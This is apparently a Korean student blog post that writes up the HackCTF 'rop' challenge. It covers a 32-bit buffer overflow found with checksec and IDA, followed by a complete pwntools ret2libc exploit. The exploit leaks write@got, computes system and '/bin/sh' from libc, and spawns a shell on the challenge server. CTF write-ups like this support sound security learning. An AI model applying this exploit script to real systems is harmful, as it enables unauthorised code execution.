혜랑's STORY

[HackCTF] rop 문제 풀이 본문

2021 SISS 21기 활동/1학기 시스템

[HackCTF] rop 문제 풀이

hyerang0125 2021. 6. 16. 21:53

1. checksec

32비트 파일이고, NX가 걸려있다. 문제 이름처럼 rop를 사용하여 해결하는 것 같다.

2. IDA

main() 함수

vulnerable_function() 함수

즉, vulnerable_function() 함수에서 buf의 크기보다 더 많이 입력을 받아 overflow가 발생한다. 

3. Debug

[Break Point]

  • 0x084844b : vulnerable_function() 함수 코드 첫 부분
  • 0x0848465 : read() 함수 호출 전

프로그램을 실행할 수 없다고 한다. 따라서 파일의 권한을 변경하고 다시 실행해 보았다.

즉, 문자를 140개 이상 입력하면 Return Address를 덮을 수 있다.

[확인해야 할 정보 목록]

  1. 쓰기 가능한 영역
  2. read(), write() 함수의 plt, got
  3. system() 함수의 주소
  4. pop, pop, pop, ret 가젯의 위치

bss 영역 찾기
pppr 찾기

4. Payload

from pwn import *

context.log_level = 'debug'

pr = 0x084850b
pppr = 0x08048509

#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
binary = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = binary.plt["read"]
read_got = binary.got["read"]
write_plt = binary.plt["write"]
write_got = binary.got["write"]

payload = "A"*0x88 + "BBBB"
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(write_got)
payload += p32(0x4)
payload += p32(binary.symbols['vulnerable_function'])

p.sendline(payload)
write = u32(p.recv(4))
libcbase = write - libc.symbols['write']
system = libcbase + libc.symbols['system']
binsh = libcbase + list(libc.search("/bin/sh"))[0]

payload = "A"*0x88 + "BBBB"
payload += p32(system)
payload += p32(pr)
payload += p32(binsh)

p.sendline(payload)

p.interactive()

 

5. 결과

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[ROP Emporium] split 문제 풀이  (0) 2021.06.27
깃 허브에 올린 과제  (0) 2021.06.16
[Hack CTF] RTL_World  (0) 2021.05.14
[HackCTF] x64 Buffer Overflow  (0) 2021.04.09
[HackCTF] Basic_BOF #1  (0) 2021.04.09